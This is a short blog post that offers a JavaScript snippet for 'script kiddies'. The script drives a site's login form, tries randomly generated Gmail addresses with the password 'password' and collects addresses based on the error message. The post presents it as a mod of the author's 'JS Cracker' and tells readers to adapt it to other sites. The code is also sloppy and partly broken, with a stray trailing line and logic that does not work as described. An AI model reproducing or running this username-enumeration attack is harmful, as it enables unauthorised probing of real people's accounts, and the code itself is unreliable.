Check site for User names

Well we all might want to programatically check a site for user names, quick demo post here, a kind I have not done in a while:

So for all you script kiddies out there here is what we end with:

window.location = 'http://www.facebook.com'
checkers();
function checkers()
{
  var user = '';
  var text = '';
  var possible = 'abcdefghijklmnopqrstuvwxyz';
  for (var i = 0; i < 6; i++)
  text += possible.charAt(Math.floor(Math.random() * possible.length));
  document.forms[0].elements[1].value = text + '@gmail.com';
  document.forms[0].elements[2].value = 'password';
  var pablo = document.forms[0].elements[3];
  pablo.click();
  if (document.all('content').innerHTML.indexOf('Please try again') >= 0)
  {
    user = user.concat(text + '@gmail.com')
    checkers();
  }
}
str.indexOf('Yes') >= 0

Now to run it:

A moder browser is all you really need. This post is really just a mod of the Bane JS Cracker I posted a while ago. Anyway just mess with the form elements depending on the site. Then you just need to save and parse string user however you choose. One could just C+V from a alert() window, and just change the infinite loop of this code to stop after a certain amount. Whatever your heart desires.
